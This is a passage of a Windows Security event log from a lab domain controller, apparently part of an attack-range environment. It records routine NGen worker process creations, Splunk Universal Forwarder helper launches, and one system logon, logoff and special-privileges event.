C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess b98 -Pipe bb8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b98 -InterruptEvent 0 -NGENProcess 9c0 -Pipe bc4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b5c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ba4 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b8c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255405 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b9c -InterruptEvent 0 -NGENProcess 9c0 -Pipe ba0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255404 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b10 -InterruptEvent 0 -NGENProcess 9c0 -Pipe ba8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255403 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b98 -Pipe bac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255402 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b10 -InterruptEvent 0 -NGENProcess b98 -Pipe bb0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255401 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ba4 -InterruptEvent 0 -NGENProcess b98 -Pipe b84 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255411 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" RemoveTaskBootTrigger /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255412 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255414 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255415 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255417 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255416 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255418 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255421 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3073CF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:10:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255420 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3073CF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62571 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:10:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255419 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3073CF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:11:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255422 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbf0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the 